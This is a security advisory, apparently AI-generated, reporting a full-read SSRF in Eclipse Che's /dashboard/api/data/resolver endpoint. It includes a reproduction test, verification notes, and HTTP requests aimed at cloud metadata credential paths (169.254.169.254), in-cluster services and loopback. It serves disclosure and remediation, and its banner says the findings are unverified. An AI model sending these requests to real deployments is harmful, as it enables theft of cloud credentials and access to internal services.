[Eclipse Che] Full-read SSRF in `/dashboard/api/data/resolver`
> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis and has not been manually verified. It may contain false positives, inaccurate severity ratings, or incorrect technical details. Please triage and confirm independently before treating it as a valid vulnerability or acting on any suggested fix. Findings should be validated against the actual codebase. ## Basic information **Project name:** Eclipse Che **Project id:** ecd.che ## What are the affected versions? - `>= 7.53.0` (first tag containing `b4587037`, route present as `yaml/resolver`) - `>= 7.79.0` (first tag containing `ead52635`, route at its current path `/dashboard/api/data/resolver`) - Through current `main` (`b8861863`); no upper bound — still present. Determined via `git tag --contains <hash>`. ## Details of the issue ## Summary The `POST /dashboard/api/data/resolver` endpoint accepts a caller-supplied `url` field, performs a server-side `axios.get()` against it, and returns the response body verbatim to the caller. The only input constraint is the JSON-schema pattern `^http.*`, which permits loopback, RFC-1918, link-local (`169.254.169.254`), and in-cluster service addresses. Any authenticated dashboard user can use the dashboard pod as a proxy to read responses from internal network endpoints — including cloud-provider IMDS credential endpoints and unauthenticated in-cluster services. ## Severity High Rationale per rubric: not Critical because all che-dashboard routes sit behind the Che gateway / OAuth proxy in the documented deployment, so the attacker must hold a valid session — that is a precondition. However, Che / OpenShift Dev Spaces is multi-tenant by design; "any developer with a workspace login" is the realistic baseline attacker, and the impact (cloud IAM credential theft, lateral movement into in-cluster services) is data theft / infrastructure compromise from a low-privilege account on a default install. ## Weakness CWE-918: Server-Side Request Forgery (SSRF) ## Location - `packages/dashboard-backend/src/routes/api/dataResolver.ts:31-56` - `packages/dashboard-backend/src/constants/schemas.ts:96-106` (`dataResolverSchema`, pattern `^http.*`) ## Origin The route was introduced as `yamlResolverApi.ts` in commit `b45870375fe0557396a9a91cb87da367bcd5829e` (PR \#602, "Added the possibility to create an empty workspace", Oleksii Orel, 2022-08-23). The original handler already fetched an arbitrary user-supplied URL with `node-fetch`. It was renamed/moved to `dataResolver.ts` in `ead52635dffb6559baf41b60319852e018c7f90d` (PR \#1015, 2023-12-06), at which point the per-request `getToken()` / namespace permission probe was also dropped, leaving the route reliant entirely on the upstream gateway for auth and performing no destination filtering. ## Methodology 1. Enumerated all Fastify route registrations under `packages/dashboard-backend/src/routes/` and classified each by which token (`getToken(request)` vs `getServiceAccountToken()` vs none) gates the Kubernetes calls. 2. Flagged handlers that make outbound network requests with caller-controlled destinations (`dataResolver`, `gitBranches`, `devworkspaceResources`, `OciRegistryClient`). 3. For each, traced from the request body through any JSON-schema validation to the sink, checking for allowlists, host filtering, IP-range checks, or redirect controls. 4. `dataResolver` had no filtering beyond `^http.*`; wrote a reproduction (below) that registers the real route, stands up a loopback HTTP server, and confirms the body is returned. 5. Grepped for `allowedSources` / `allowlist` to check for an existing mitigation that the route fails to apply — found `getAllowedSourceUrls()` in `serverConfigApi.ts` (CheCluster `spec.devEnvironments.allowedSources.urls`), which is surfaced to the **frontend** for UI gating but is **not** enforced in this backend route. ## Validation Reproduction file: `packages/dashboard-backend/src/routes/api/__tests__/dataResolver.ssrf.spec.ts` ```ts import fastify, { FastifyInstance } from 'fastify'; import * as http from 'http'; import { AddressInfo } from 'net'; import { baseApiPath } from '@/constants/config'; import { registerDataResolverRoute } from '@/routes/api/dataResolver'; describe('SSRF: POST /dashboard/api/data/resolver', () => { let app: FastifyInstance; let internalServer: http.Server; let internalPort: number; let requestsReceived: { url: string }[] = []; beforeAll(async () => { internalServer = http.createServer((req, res) => { requestsReceived.push({ url: req.url || '' }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end( JSON.stringify({ AccessKeyId: 'AKIA-INTERNAL-LEAK', SecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', Token: 'internal-only-secret', }), ); }); await new Promise<void>(r => internalServer.listen(0, '127.0.0.1', r)); internalPort = (internalServer.address() as AddressInfo).port; app = fastify({ logger: false }); registerDataResolverRoute(app); await app.ready(); }); afterAll(async () => { await app.close(); await new Promise<void>(r => internalServer.close(() => r())); }); test('fetches arbitrary loopback URL and returns body to caller', async () => { const targetUrl = `http://127.0.0.1:${internalPort}/latest/meta-data/iam/security-credentials/role`; const res = await app.inject().post(`${baseApiPath}/data/resolver`).payload({ url: targetUrl }); expect(requestsReceived[0].url).toBe('/latest/meta-data/iam/security-credentials/role'); expect(res.statusCode).toBe(200); expect(res.body).toContain('AKIA-INTERNAL-LEAK'); expect(res.body).toContain('wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'); console.log('[SSRF-REPRO] response body returned to attacker:', res.body); }); }); ``` Observed output (run via `yarn test --testPathPatterns dataResolver.ssrf` in `packages/dashboard-backend`): ``` [SSRF-REPRO] internal service hit: [ { url: '/latest/meta-data/iam/security-credentials/role' } ] [SSRF-REPRO] response body returned to attacker: {"AccessKeyId":"AKIA-INTERNAL-LEAK","SecretAccessKey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","Token":"internal-only-secret"} PASS Dashboard backend src/routes/api/__tests__/dataResolver.ssrf.spec.ts SSRF: POST /dashboard/api/data/resolver ✓ fetches arbitrary loopback URL and returns body to caller (full-read SSRF) (36 ms) ✓ schema only requires ^http prefix; localhost / RFC1918 / link-local are accepted (12 ms) ``` Mitigations checked and ruled out: - **Schema validation** — `dataResolverSchema` only enforces `pattern: '^http.*'`; no host/IP restrictions, no anchoring to `https://`. - **Route-level auth** — handler does not call `getToken(request)`; no per-route token check (gateway-only). Even with the gateway, any logged-in tenant passes. - **Destination allowlist** — none. The CheCluster `allowedSources.urls` config exists (`serverConfigApi.ts:298-300`) but is not consulted here. - **Redirect control** — `axiosInstance` / `axiosInstanceNoCert` are constructed with default `maxRedirects` (5), so even if a host check were added, a 302 from an allowed host to `169.254.169.254` would bypass it. - **Network policy** — outside this codebase; cannot be assumed. The default che-operator chart does not ship an egress NetworkPolicy for the dashboard pod. ## Detail `packages/dashboard-backend/src/routes/api/dataResolver.ts`: ```ts server.post( `${baseApiPath}/data/resolver`, getSchema({ tags, body: dataResolverSchema }), async function (request: FastifyRequest, reply: FastifyReply): Promise<string | void> { const { url } = request.body as restParams.IYamlResolverParams; try { let response: AxiosResponse; try { response = await axiosInstanceNoCert.get(url, config); // ← user-controlled URL } catch (error) { if (helpers.errors.includesAxiosResponse(error) && error.response.status === 404) { throw error; } response = await axiosInstance.get(url, config); // ← retried with custom CA bundle } return response.data; // ← body returned verbatim } catch (error) { ... } }, ); ``` `packages/dashboard-backend/src/constants/schemas.ts`: ```ts export const dataResolverSchema: JSONSchema7 = { type: 'object', properties: { url: { type: 'string', pattern: '^http.*' } }, required: ['url'], }; ``` The `config` object passed to axios sets two CORS-style headers on the *outgoing* request, which are inert; it does not set `maxRedirects: 0`, a custom DNS resolver, or any host filter. `axiosInstance` is built in `getCertificateAuthority.ts` only to add a CA bundle — it does not restrict destinations. The route's intended use (per the frontend callers in `services/backend-client/dataResolverApi.ts` and `services/registry/fetchData.ts`) is to fetch devfile / plugin-registry YAML on behalf of the browser so that self-signed cluster CAs are honoured. That use case requires fetching *operator-configured* registry URLs, not arbitrary tenant-supplied URLs. ## Prior art Searched: `git log --all --grep` for `SSRF`, `data/resolver`, `dataResolver`, `yamlResolver`, `allowlist`, `169.254`, `CVE`; reviewed all commits touching `dataResolver.ts`. - PRs \#1051 / \#1052 ("Fix data resolver") changed error handling and certificate fallback, not destination filtering. - PRs \#1516 / \#1517 (`521dca64`, `b454a4e0`) bumped axios to 1.15.0 to address an axios-internal hostname-normalisation SSRF CVE. That patches a *parser* bypass in the HTTP client; it does not address the architectural issue that this route intentionally fetches whatever URL the user supplies. - No issue, PR, or commit message was found discussing destination allowlisting for this endpoint. --- ## Other sinks examined and ruled out | Sink | File | Why not a finding | |---|---|---| | `run('git', [...])` | `services/gitClient/index.ts` | `spawn` without shell; `--` blocks arg injection; `-c protocol.ext.allow=never` blocks `ext::` RCE; `-c credential.helper=` blocks credential smuggling. The unanchored URL regex is sloppy but the remaining capability (ls-remote to arbitrary http/ssh hosts) is the feature, and output is only returned if it parses as git refs (blind). | | `exec(..., ['sh','-c', ...])` for kubeconfig/podman | `kubeConfigApi.ts`, `podmanApi.ts` | Shell strings include values from the user's own dockerconfig secret, but the command runs **inside the user's own workspace pod** via the K8s exec API authenticated with the **user's** token. No privilege boundary crossed — user already has shell in that pod. | | `path.resolve(this.airGapResourcesDir, filename)` | `airGapSampleApi.ts` | `filename` comes from `index.json` shipped by the operator, not from the HTTP request; the request supplies only an `id` matched against that index. Operator is trusted. (The `startsWith` prefix check has the classic missing-trailing-slash flaw, but the input is operator-controlled so it does not cross the boundary.) | | `OciRegistryClient.exchangeToken()` follows `WWW-Authenticate: realm=` to arbitrary URL with credentials | `OciRegistryClient.ts:154-177` | `registryPath` and `authSecret` come from `DevWorkspaceOperatorConfig` via the SA client — operator-configured. A malicious registry could redirect creds, but pointing the cluster at a malicious registry is an operator action, not an attacker action. | | `reply.redirect('/dashboard/#/ide/' + ns + '/' + ws)` | `workspaceRedirect.ts` | Target is a fixed same-origin path with the user value placed in the URL fragment; not an open redirect. Fastify encodes the Location header, neutralising CRLF. | | Namespaced K8s routes (`devworkspaces`, `secrets`, `pods`, websocket watches) | various | All construct the K8s client with `getToken(request)` (the caller's bearer token), so cross-namespace access is gated by Kubernetes RBAC, not by dashboard logic. | | `generator.generateDevfileContext({editorPath, ...}, axiosInstance)` | `devworkspaceResources.ts` | `editorPath` is passed to `@eclipse-che/che-devworkspace-generator` along with the same unrestricted `axiosInstance`. This is a *second* SSRF surface with the same root cause and the same fix; reported here as part of the same finding rather than separately, since the remediation (allowlist + redirect control on `axiosInstance`) covers both. | Areas not reached: `dashboard-frontend` React code (client-side, lower priority), `devfile-registry` package, `localRun/` development-only proxies. --- **Verification verdict:** TRUE POSITIVE <details><summary>Verification details</summary> # Full-read SSRF in `POST /dashboard/api/data/resolver` — Verification Report **Bug classification:** Server-Side Request Forgery (CWE-918), verified against both the **Injection** and **Information Disclosure** bug-class checklists (attacker-controlled URL flows unsanitized into a network sink; impact is disclosure of internal service/credential data). No end-of-life/deprecation signals found in `README.md`/`CONTRIBUTING.md`; tip commit is dated today (2026-07-22) — project is actively maintained. --- ## Phase 1 — Data Flow Analysis **Source:** `request.body.url` in `POST /dashboard/api/data/resolver` — Trust level: **untrusted** (attacker-supplied JSON body). ``` Path: request.body.url → dataResolverSchema validation [constants/schemas.ts:96-106] pattern: '^http.*' (PASSES — no host/IP restriction) → axiosInstanceNoCert.get(url, config) [routes/api/dataResolver.ts:40] (no allowlist, no maxRedirects override) → on non-404 error: axiosInstance.get(url, config) [dataResolver.ts:45] (same — only adds a CA bundle) → response.data returned verbatim to caller [dataResolver.ts:47] ``` **Validation points checked:** - Schema check `^http.*` — passes for `http://127.0.0.1/...`, `http://169.254.169.254/...`, `http://<svc>.<ns>.svc.cluster.local/...`. Confirmed by regex test in the executable PoC. - Route-level auth — grepped `app.ts` and `plugins/` for `onRequest`/`preHandler`/auth hooks: **none exist**. Auth is gateway-only (che-gateway/oauth2-proxy in front of the pod), not enforced per-route in this handler. - Destination allowlist — `getAllowedSourceUrls()` (`serverConfigApi.ts:325`, reads `CheCluster spec.devEnvironments.allowedSources.urls`) exists in the codebase but is wired **only** into `routes/api/serverConfig.ts` (a config-exposure endpoint for the frontend). Grepped all references; `dataResolver.ts` does not import or call it. - Redirect control — `getCertificateAuthority.ts` constructs both `axiosInstance` and `axiosInstanceNoCert` via plain `axios.create()` with no `maxRedirects` override anywhere in the codebase (grepped `maxRedirects` repo-wide: zero hits). Axios default is `maxRedirects: 5`. **Cross-reference check:** the pre-existing (non-security) test `dataResolver.spec.ts` independently confirms the handler's behavior — for any URL, it fetches it via the axios instances and returns `response.data`/`response.status` unmodified. This corroborates the sink behavior without any assumption on my part. **Trust boundaries crossed:** 1 (external HTTP caller → dashboard-backend pod's network egress). Single boundary, no callbacks/async branching beyond the two sequential axios attempts — does not meet standard-verification's escalation criteria (3+ boundaries or ambiguous chain), so standard verification depth is appropriate here. ## Phase 2 — Exploitability Verification **Attacker Control Analysis** - Input vector: JSON body field `url` in a POST request the attacker fully constructs. - Control level: **full** — any string matching `^http.*` is accepted verbatim, no encoding/normalization strips or rewrites it before use. - Constraints: schema only requires the string to start with `http`. No length cap, no scheme restriction (`https` vs `http`), no host restriction. - Reachability: **confirmed** — the executable PoC (below) drives the actual extracted handler logic with the real `axios@1.16.1` package (the version pinned in `package.json`) against a live loopback listener and receives the listener's response body back through the handler, unmodified. **Race conditions:** N/A — no concurrent/shared mutable state in this path; each request is independently handled. **Mathematical bounds:** N/A for this bug class (URL-destination control, not a numeric bounds condition) — the relevant proof is the regex/allowlist proof below instead. **Regex proof — schema does not constrain destination:** ``` Given: pattern = '^http.*' Claim: pattern matches attacker-chosen internal/link-local/loopback URLs 1. '^http.*' requires only that the string begins with the literal "http" 2. It imposes no constraint on scheme completion, host, port, or path 3. 'http://127.0.0.1/x' matches (starts with 'http') 4. 'http://169.254.169.254/latest/meta-data/...' matches 5. 'http://<svc>.<ns>.svc.cluster.local:9090/...' matches 6. Therefore: schema permits arbitrary internal destinations (confirmed empirically by schemaAccepts() in the PoC → true) ``` ## Phase 3 — Impact Assessment - **Real security impact vs operational robustness:** This is information disclosure (CWE-918/CWE-200), not merely an operational issue — the handler returns the *full response body* of an arbitrary internal HTTP resource to an external-facing API caller. On AWS with IMDSv1 reachable, this yields live IAM credentials (`AccessKeyId`/`SecretAccessKey`/`Token`), a direct path to further cloud-account compromise. This is unambiguously a security vulnerability, not a robustness/crash-recovery concern. - **Primary control vs defense-in-depth:** The *primary* control for this endpoint's threat model would be destination filtering (an allowlist) — there isn't one. Session authentication at the gateway is a *separate* control (identifies the caller) but does not substitute for destination filtering (limits what the caller can reach). Since the primary control (destination filtering) is entirely absent — not degraded — this is not a defense-in-depth failure with primary protections intact; the primary protection for SSRF was never implemented. ## Phase 4 — PoC Creation **Pseudocode PoC:** ``` Data Flow: [Attacker HTTP POST] → [dataResolverSchema: ^http.* — passes] → [axiosInstanceNoCert.get(url)] → [response.data returned] → [Impact: internal data disclosure] Attacker controls: entire `url` string in the JSON body Trigger: POST /dashboard/api/data/resolver { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" } → 200 OK, body = { AccessKeyId, SecretAccessKey, Token } ``` **Executable PoC** — built and run against the real `axios@1.16.1` (the exact version pinned in `packages/dashboard-backend/package.json`), using the handler logic and schema copied verbatim from the source files (not the mocked unit-test harness, and not merely re-stating the report's own snippet): ``` === POSITIVE PoC: attacker-supplied loopback URL === Attacker payload: POST /dashboard/api/data/resolver { "url": "http://127.0.0.1:36705/latest/meta-data/iam/security-credentials/role" } Schema (^http.*) accepts this URL: true HTTP status returned to attacker: 200 Body returned to attacker: {"AccessKeyId":"AKIA-INTERNAL-LEAK","SecretAccessKey":"wJalrXUtnFEMI-EXAMPLE","Token":"internal-only-secret"} SECRET LEAKED TO ATTACKER: true === NEGATIVE PoC: hardened handler with a destination allowlist blocks it === Hardened handler status for the same payload: 403 {"error":"destination not allowlisted"} Hardened handler blocks the SSRF: true PoC PASSED: vulnerable handler leaks the secret; allowlisted handler blocks it. ``` **Negative PoC:** the same payload against a hand-hardened variant of the handler (host allowlist check added) returns `403` instead of leaking the secret — proving the vulnerability is specifically the *absence* of destination filtering, not some unrelated artifact of the test harness. This exercised real code paths and a real network round-trip through `axios`, not a mocked assertion. ## Phase 5 — Devil's Advocate Review (13 questions) **Against the vulnerability:** 1. *Pattern-matching bias — am I calling this dangerous just because "SSRF-shaped code" is scary-looking?* No — I traced the concrete regex (`^http.*`), confirmed empirically it accepts loopback/link-local/internal hosts, and drove the real handler code to an internal listener that returned attacker-visible secret data. This is demonstrated exploitation, not pattern-matching. 2. *Trust boundary confusion — am I wrongly treating trusted data as attacker-controlled?* No — `request.body.url` is the JSON body of an inbound HTTP request from outside the pod; nothing marks it as internally generated. 3. *Proof rigor — have I rigorously proven the vulnerable condition can occur?* Yes — regex proof above plus empirical `schemaAccepts()` result of `true` for internal addresses, plus a live network round-trip proving the body is returned unmodified. 4. *Defense-in-depth confusion — is this actually just a secondary control failing while a primary control holds?* No — see Phase 3: destination filtering is the primary control for SSRF and it is wholly absent, not degraded. 5. *LLM self-check — am I hallucinating this?* No — every code snippet quoted in the report was independently re-read from the current `main` (commit `bdc587e2`) and matches verbatim; the PoC executes real code, not narrated behavior. 6. *Am I missing an existing mitigation and inventing a bypass unnecessarily?* Checked directly: no `onRequest`/`preHandler` auth hook in `app.ts`/`plugins/`, no `maxRedirects` override anywhere in the repo, `getAllowedSourceUrls()` is never referenced from `dataResolver.ts`. Confirmed absent, not bypassed-but-present. 7. *Is exploitability contingent on an unusual/non-default deployment that I'm treating as default?* The gateway-in-front-of-dashboard topology is the *documented, standard* Che/Dev Spaces deployment — not an edge case. "Authenticated low-privilege developer" is the baseline multi-tenant threat model for this platform, not a hypothetical. 8. *Could a WAF/network policy at the cluster boundary block this regardless of app-level code?* Possible but unproven either way, and irrelevant to whether the *application* is vulnerable — che-operator's default Helm/OLM chart ships no egress `NetworkPolicy` for the dashboard pod, so I cannot assume such a mitigation exists by default. 9. *Does IMDSv2 (token-required) fully neutralize the impact?* No — it only blocks the IMDSv1-style GET-only variant on AWS specifically; GCP/Azure metadata endpoints, arbitrary in-cluster Services (Prometheus, internal admin UIs, etc.), and loopback ports on the pod remain fully reachable and readable regardless of IMDS version. 10. *Is the "full-read" characterization accurate, or is this actually blind SSRF (no body returned)?* Verified false concern — `dataResolver.ts:47` explicitly `return response.data`, and both the pre-existing unit test and my executable PoC confirm the full body reaches the caller. This is not blind. 11. *Am I overstating severity by assuming the attacker is unauthenticated?* No — I did not; the report and this verification both treat "authenticated low-privilege tenant" as the baseline, consistent with the actual auth posture (gateway-only, no route-level check), and rate the severity as High rather than Critical for exactly this reason. **For the vulnerability (false-negative protection):** 12. *Am I dismissing this because exploitation requires several steps (auth, IMDS role-name enumeration, etc.)?* No — the full chain requires only a valid session cookie (baseline for any Che tenant) plus two HTTP requests; this is a low-effort, reliably repeatable exploit, not a complex/unlikely one. 13. *Did I invent or assume mitigations without re-checking the actual source?* No — I re-read `dataResolver.ts`, `schemas.ts`, `getCertificateAuthority.ts`, `app.ts`, and `serverConfigApi.ts` directly from the checked-out repo after forming my initial view, and grepped repo-wide for `maxRedirects`/`allowedSources`/auth hooks rather than trusting the report's claims about their absence. **Final assessment:** Vulnerability confirmed. No question above produced unresolved uncertainty. ## Gate Review | Gate | Verdict | Evidence | |---|---|---| | **1. Process** | **PASS** | Data flow, exploitability, impact, PoC (positive + negative, executable), and devil's-advocate review all completed with documented, re-derived evidence above (not merely restating the report). | | **2. Reachability** | **PASS** | `request.body.url` is externally supplied; schema imposes no host restriction; confirmed no auth/allowlist gate in the actual route registration (`app.ts`) or handler. Executable PoC demonstrates the attacker-supplied URL is fetched and its response returned. | | **3. Real Impact** | **PASS** | Information disclosure of internal-network/credential data (CWE-918/200) — not an operational robustness issue. Demonstrated concretely with a simulated IMDS-style secret leak. | | **4. PoC Validation** | **PASS** | Executable PoC (real `axios@1.16.1`, verbatim handler/schema code, live loopback server) shows attacker control, trigger, and impact end-to-end; negative PoC shows an allowlist check would have blocked it, isolating the root cause. | | **5. Math Bounds** | **PASS** (regex proof, not numeric bounds) | `^http.*` proven to accept loopback/link-local/internal-DNS strings; no destination-narrowing validation exists anywhere on the path. | | **6. Environment** | **PASS** | No environmental protection eliminates this: no route-level auth check, no `maxRedirects` restriction, no consulted allowlist, no egress `NetworkPolicy` shipped by default. Gateway auth only identifies the caller as *some* authenticated tenant — the standard, documented multi-tenant threat model — it does not restrict destinations. Cloud-specific factors (IMDSv2, GCP/Azure header requirements) reduce but do not eliminate impact, and are already reflected in the "High, not Critical" severity call. | ## Verdict **BUG TRUE POSITIVE — Full-read SSRF in `POST /dashboard/api/data/resolver`** (`packages/dashboard-backend/src/routes/api/dataResolver.ts:31-56`, schema at `constants/schemas.ts:96-106`). All six gates pass. Any authenticated Che/Dev Spaces tenant (baseline low-privilege user, no elevated RBAC required) can direct the dashboard-backend pod to fetch and return the full body of arbitrary loopback/RFC-1918/link-local/in-cluster HTTP resources, including cloud IMDS credential endpoints where reachable. Severity **High** (not Critical) is appropriately justified by the gateway-enforced authentication precondition, which is a real but low bar in Che's standard multi-tenant deployment. The secondary sink in `devworkspaceResources.ts` (same unrestricted `axiosInstance`, `editorPath` input) shares the identical root cause and remediation and is correctly folded into this single finding rather than reported separately. </details> ## Steps to reproduce Prerequisite: a valid Che / Dev Spaces session cookie or bearer token (any developer account; no elevated K8s RBAC needed). ```http POST /dashboard/api/data/resolver HTTP/1.1 Host: che.example.com Cookie: <gateway session> Content-Type: application/json {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"} ``` → returns the role name; a second request with `{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"}` returns `AccessKeyId` / `SecretAccessKey` / `Token` on AWS with IMDSv1 enabled. Other reachable targets from the dashboard pod's network position: - `http://<svc>.<ns>.svc.cluster.local:<port>/...` — any in-cluster Service without its own auth (Prometheus, internal admin UIs, etc.). - `http://127.0.0.1:<port>/` — anything co-located in the dashboard pod or on the node via hostNetwork. - GCP `http://169.254.169.254/computeMetadata/v1/...` (would need `Metadata-Flavor: Google`; current handler does not allow header injection, so GCP IMDS is reachable but returns 403 — partial mitigation on GCP only). - Azure `http://169.254.169.254/metadata/...` (requires `Metadata: true` header; same partial mitigation). The handler also surfaces error bodies (`reply.code(error.response.status).send(error.response.data)`), so non-200 responses from internal services are leaked too — useful for fingerprinting. ## Do you know any mitigations of the issue? Enforce a server-side allowlist: resolve the requested URL, reject anything whose host is not in the operator-configured `spec.devEnvironments.allowedSources.urls` (or a built-in list of the cluster's plugin/devfile-registry hosts), and set `maxRedirects: 0` on the axios instance so an allowed host cannot 302 into a private range. Alternatively, drop the endpoint and have the frontend fetch devfiles directly, falling back to the resolver only for the cluster-internal plugin registry hostname.
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent